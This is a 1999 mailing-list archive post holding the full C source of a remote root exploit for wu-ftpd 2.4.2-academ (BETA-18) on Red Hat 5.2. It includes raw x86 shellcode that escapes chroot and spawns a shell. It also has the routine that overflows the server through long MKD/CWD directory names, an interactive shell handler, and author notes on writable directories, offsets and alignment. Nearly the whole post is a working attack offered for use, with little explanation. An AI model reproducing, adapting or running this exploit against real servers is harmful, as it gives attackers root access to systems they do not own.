ftp exploit

From: Pieter Nieuwenhuijsen (pieternat_private)
Date: Mon Mar 22 1999 - 08:10:23 PST

  • Next message: Ben Laurie: "OpenSSL/SSLeay Security Alert"

    /*
            THIS IS PRIVATE! DO NOT DISTRIBUTE!!!!   PRIVATE!
    
            WU-FTPD REMOTE EXPLOIT Version wu-2.4.2-academ[BETA-18](1)
            for linux x86 (redhat 5.2)
    
            by duke
            dukeat_private
    
            BIG thanks to stran9er for alot of help with part of the shellcode!
            i fear stran9er, but who doesn't? !@$ :)
    
            Greets to: #!ADM, el8.org users,
    
            To exploit this remotely they need to have a directory you can
            have write privlidges to.. this is the <dir> argument.. you can
            also use this locally by specifying -l <ur login> -p <urpass> with the
            <dir> = your home directory or something..(must begin with '/')
            also alignment arg is how return address  is aligned.. shouldnt need it,
            but if u do it should be between 0 and 3
    
            It takes about 10 seconds after "logged in" so be patient.
            -duke
    */
    
    #include <stdio.h>
    #include <string.h>
    #include <netdb.h>
    #include <netinet/in.h>
    #include <sys/socket.h>
    #include <sys/types.h>
    //#include <linux/time.h>
    //#include <sys/select.h>
    #include <sys/time.h>
    #include <unistd.h>
    
    #define RET 0xbfffa80f
    
    void logintoftp();
    void sh();
    void mkd(char *);
    int max(int, int);
    long getip(char *name);
    
    char shellcode[] =
    "\x31\xc0\x31\xdb\xb0\x17\xcd\x80\x31\xc0\xb0\x17\xcd\x80"
    "\x31\xc0\x31\xdb\xb0\x2e\xcd\x80"
    "\xeb\x4f\x31\xc0\x31\xc9\x5e\xb0\x27\x8d\x5e\x05\xfe\xc5\xb1\xed"
    "\xcd\x80\x31\xc0\x8d\x5e\x05\xb0\x3d\xcd\x80\x31\xc0\xbb\xd2\xd1"
    "\xd0\xff\xf7\xdb\x31\xc9\xb1\x10\x56\x01\xce\x89\x1e\x83\xc6\x03"
    "\xe0\xf9\x5e\xb0\x3d\x8d\x5e\x10\xcd\x80\x31\xc0\x88\x46\x07\x89"
    "\x76\x08\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd"
    "\x80\xe8\xac\xff\xff\xff";
    
    char tmp[256];
    char name[128], pass[128];
    
    int sockfd;
    
    int main(int argc, char **argv)
    {
            char sendln[1024], recvln[4048], buf1[800], buf2[1000];
            char *p, *q, arg, **fakeargv = (char **) malloc(sizeof(char *)*(argc + 1));
            int len, offset = 0, i, align=0;
            struct sockaddr_in cli;
    
            if(argc < 3){
                    printf("usage: %s <host> <dir> [-l name] [-p pass] [-a <alignment>] [-o offset]\n", argv[0]);
                    exit(0);
            }
    
            for(i=0; i < argc; i++) {
              fakeargv[i] = (char *)malloc(strlen(argv[i]) + 1);
              strncpy(fakeargv[i], argv[i], strlen(argv[i]) + 1);
            }
    
            fakeargv[argc] = NULL;
    
    
            while((arg = getopt(argc,fakeargv,"l:p:a:o:")) != EOF){
                switch(arg) {
                      case 'l':
                         strncpy(name,optarg,128);
                         break;
                      case 'p':
                         strncpy(pass,optarg,128);
                         break;
                      case 'a':
                         align=atoi(optarg);
                         break;
                      case 'o':
                         offset=atoi(optarg);
                         break;
                      default:
                         printf("usage: %s <host> <dir> [-l name] [-p pass] [-a <alignment>] [-o offset]\n", argv[0]);
                         exit(0);
                         break;
                 }
            }
    
            if(name[0] == 0) strcpy(name, "anonymous");
            if(pass[0] == 0) strcpy(pass, "hiat_private");
    
    
            bzero(&cli, sizeof(cli));
            bzero(recvln, sizeof(recvln));
            bzero(sendln, sizeof(sendln));
            cli.sin_family = AF_INET;
            cli.sin_port = htons(21);
            cli.sin_addr.s_addr=getip(argv[1]);
    
            if((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0){
                    perror("socket");
                    exit(0);
            }
    
            if(connect(sockfd, (struct sockaddr *)&cli, sizeof(cli)) < 0){
                    perror("connect");
                    exit(0);
            }
            while((len = read(sockfd, recvln, sizeof(recvln))) > 0){
                    recvln[len] = '\0';
                    if(strchr(recvln, '\n') != NULL)
                            break;
            }
            logintoftp(sockfd);
            printf("logged in.\n");
            bzero(sendln, sizeof(sendln));
    
            for(i=align; i<996; i+=4)
                    *(long *)&buf2[i] = RET + offset;
            memcpy(buf2, "a", align);
            memset(buf1, 0x90, 800);
            memcpy(buf1, argv[2], strlen(argv[2]));
            mkd(argv[2]);
            p = &buf1[strlen(argv[2])];
            q = &buf1[799];
            *q = '\x0';
            while(p <= q){
                    strncpy(tmp, p, 200);
                    mkd(tmp);
                    p+=200;
            }
            mkd(shellcode);
            mkd("bin");
            mkd("sh");
            p = &buf2[0];
            q = &buf2[999];
            while(p <= q){
                    strncpy(tmp, p, 250);
                    mkd(tmp);
                    p+=250;
            }
            sh(sockfd);
    
    
            close(sockfd);
            printf("finit.\n");
    }
    
    void mkd(char *dir)
    {
            char snd[512], rcv[1024];
            char blah[1024], *p;
            int n;
            struct timeval tv;
    
            fd_set fds;
            bzero(&tv, sizeof(tv));
            tv.tv_usec=50;
            bzero(blah, sizeof(blah));
            p = blah;
             for(n=0; n<strlen(dir); n++){
                    if(dir[n] == '\xff'){
                            *p = '\xff';
                            p++;
                    }
                    *p = dir[n];
                    p++;
            }
            sprintf(snd, "MKD %s\r\n", blah);
            write(sockfd, snd, strlen(snd));
            bzero(snd, sizeof(snd));
            sprintf(snd, "CWD %s\r\n", blah);
            write(sockfd, snd, strlen(snd));
            bzero(rcv, sizeof(rcv));
    
            FD_ZERO(&fds);
            FD_SET(sockfd,&fds);
            select(sockfd+1,&fds,NULL,NULL,&tv);
    
            if (FD_ISSET(sockfd,&fds))
                    while((n = read(sockfd, rcv, sizeof(rcv))) > 0){
                            rcv[n] = 0;
                            if(strchr(rcv, '\n') != NULL)
                                    break;
                    }
            return;
    }
    
    void logintoftp()
    {
            char snd[1024], rcv[1024];
            int n;
    
            printf("logging in with %s: %s\n", name, pass);
            memset(snd, '\0', 1024);
            sprintf(snd, "USER %s\r\n", name);
            write(sockfd, snd, strlen(snd));
    
            while((n=read(sockfd, rcv, sizeof(rcv))) > 0){
                    rcv[n] = 0;
                    if(strchr(rcv, '\n') != NULL)
                            break;
            }
    
            memset(snd, '\0', 1024);
            sprintf(snd, "PASS %s\r\n", pass);
            write(sockfd, snd, strlen(snd));
    
            while((n=read(sockfd, rcv, sizeof(rcv))) > 0){
                    rcv[n] = 0;
                    if(strchr(rcv, '\n') != NULL)
                            break;
            }
            return;
    }
    
    void sh()
    {
            char snd[1024], rcv[1024];
            fd_set rset;
            int maxfd, n;
    
            strcpy(snd, "cd /; uname -a; pwd; id;\n");
            write(sockfd, snd, strlen(snd));
    
            for(;;){
                    FD_SET(fileno(stdin), &rset);
                    FD_SET(sockfd, &rset);
                    maxfd = max(fileno(stdin), sockfd) + 1;
                    select(maxfd, &rset, NULL, NULL, NULL);
                    if(FD_ISSET(fileno(stdin), &rset)){
                            bzero(snd, sizeof(snd));
                            fgets(snd, sizeof(snd)-2, stdin);
                            write(sockfd, snd, strlen(snd));
                    }
                    if(FD_ISSET(sockfd, &rset)){
                            bzero(rcv, sizeof(rcv));
                            if((n = read(sockfd, rcv, sizeof(rcv))) == 0){
                                    printf("EOF.\n");
                                    exit(0);
                            }
                            if(n < 0){
                                    perror("read");
                                    exit(-1);
                            }
                            fputs(rcv, stdout);
                    }
            }
    }
    
    int max(int x, int y)
    {
            if(x > y)
                    return(x);
            return(y);
    }
    
    long getip(char *name)
    {
            struct hostent *hp;
            long ip;
    
            if ((ip=inet_addr(name))==-1)
            {
                    if ((hp=gethostbyname(name))==NULL)
                    {
                            fprintf(stderr,"Can't resolve host.\n");
                            exit (1);
                    }
                    memcpy(&ip, (hp->h_addr), 4);
            }
            return ip;
    }
    



    This archive was generated by hypermail 2b30 : Fri Apr 13 2001 - 14:39:24 PDT